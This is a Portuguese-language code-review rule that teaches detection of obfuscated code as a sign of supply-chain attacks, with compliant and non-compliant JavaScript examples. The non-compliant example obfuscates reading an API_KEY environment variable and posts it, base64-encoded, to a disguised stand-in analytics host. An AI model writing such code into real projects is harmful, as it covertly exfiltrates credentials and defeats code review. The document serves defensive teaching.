Regra
Detetar potencialmente malicioso código padrões.
O código deve ser transparente no sua intenção. 
A ofuscação ofuscação ou ocultação técnicas sugerem
maliciosas intenção ou backdoors.
Idiomas suportados: 45+

Introdução

O código ofuscado em repositórios de produção nem sempre é benigno. Embora existam casos de uso legítimo para a minificação de código em compilações de front-end, a lógica deliberadamente obscurecida no código-fonte geralmente indica ataques à cadeia de suprimentos, backdoors ou dependências comprometidas. Os atacantes utilizam truques de codificação, concatenação invulgar de cadeias de caracteres, avaliação dinâmica e outras técnicas de ofuscação para ocultar cargas maliciosas de revisões de código superficiais.

Porque é importante

Implicações para a segurança: O código ofuscado é um indicador primário de comprometimento da cadeia de abastecimento. O backdoor 2024 XZ Utils usou ofuscação sofisticada para esconder código malicioso de desvio de autenticação SSH. Técnicas semelhantes aparecem em pacotes npm comprometidos que exfiltram variáveis de ambiente ou credenciais. Quando o código oculta deliberadamente a sua intenção, é concebido para evitar a deteção durante as revisões de segurança e a verificação automática.

Manutenção do código: Mesmo quando a ofuscação não é maliciosa, cria pesadelos de manutenção. Os futuros programadores não conseguem perceber a intenção, a depuração torna-se impossível e o código torna-se uma dívida técnica em que ninguém quer tocar. A lógica ofuscada ultrapassa todas as ferramentas de análise estática concebidas para detetar erros ou vulnerabilidades.

Expansão da superfície de ataque: Técnicas de ofuscação como eval(), Função() ou strings codificadas em base64 criam caminhos dinâmicos de execução de código que as ferramentas de segurança não podem analisar estaticamente. Isso expande sua superfície de ataque introduzindo comportamentos em tempo de execução que não são visíveis em revisões de código-fonte.

Impacto no desempenho: O código ofuscado utiliza frequentemente padrões ineficientes, como a concatenação excessiva de cadeias de caracteres, o acesso dinâmico a propriedades ou operações repetidas de codificação/descodificação. Estes padrões degradam o desempenho e não servem qualquer objetivo comercial legítimo nos repositórios de código-fonte.

Exemplos de código

Não conforme:

const _0x4d2e = ['env', 'API_KEY', 'toString', 'base64'];
const _0x1f3a = (i) => _0x4d2e[i];

function sendData(user) {
  const key = process[_0x1f3a(0)][_0x1f3a(1)];
  const payload = Buffer.from(JSON.stringify({
    u: user.email,
    k: key
  }))[_0x1f3a(2)](_0x1f3a(3));

  fetch('https://analytics-cdn.example.com/t', {
    method: 'POST',
    body: payload
  });
}

Porque é que não é seguro: Os nomes das variáveis são deliberadamente desprovidos de significado, o acesso às cadeias de caracteres é ofuscado através da indexação de matrizes e o ponto final real a ser contactado não é claro. Este padrão é idêntico à forma como os pacotes maliciosos exfiltram credenciais, tornando impossível verificar a verdadeira intenção do código durante a revisão.

Conformidade:

const ANALYTICS_ENDPOINT = 'https://analytics.example.com/track';

function sendAnalyticsEvent(user) {
  const event = {
    userId: user.id,
    email: user.email,
    timestamp: Date.now()
  };

  return fetch(ANALYTICS_ENDPOINT, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(event)
  });
}

Porque é que é seguro: Nomes de variáveis claros, ponto final explícito, estrutura de dados transparente e intenção óbvia. Qualquer revisor pode compreender imediatamente que dados estão a ser enviados e para onde. Este código pode ser auditado tanto por ferramentas de segurança como por humanos.

Conclusão

Código ofuscado em repositórios de código-fonte é uma bandeira vermelha de segurança que exige investigação. Embora a minificação em tempo de construção seja aceitável para a otimização do frontend, o código-fonte deve ser sempre legível e transparente. A deteção precoce de padrões de ofuscação evita o comprometimento da cadeia de fornecimento e mantém a auditabilidade do código.